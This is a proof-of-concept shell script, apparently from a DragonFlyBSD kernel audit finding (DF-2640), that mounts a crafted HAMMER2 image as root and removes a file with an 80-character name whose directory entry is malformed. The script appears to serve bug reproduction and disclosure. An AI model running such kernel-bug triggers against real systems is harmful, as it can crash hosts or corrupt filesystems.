DragonFlyBSD Kernel Audit
DF-2640 / trigger_U2.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2640 variant U2: rm of /<80*'g'> (PFS root level) whose long-named
# DIRENT bref has data_off=0.  Run as root (PFS root is not world-writable).
# NOTE: no `ls` (see trigger_U.sh).
LOG=/root/poc/df2640/run_U2.log
exec > $LOG 2>&1
set -x
uname -a
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2640/U2.img
mkdir -p /mnt/h2
mount -t hammer2 /dev/vn0@testvol /mnt/h2
echo MOUNT_RC=$?
LN2=$(printf '%.0sg' $(seq 1 80))
rm "/mnt/h2/$LN2"
echo RM_RC=$?
echo U2_DONE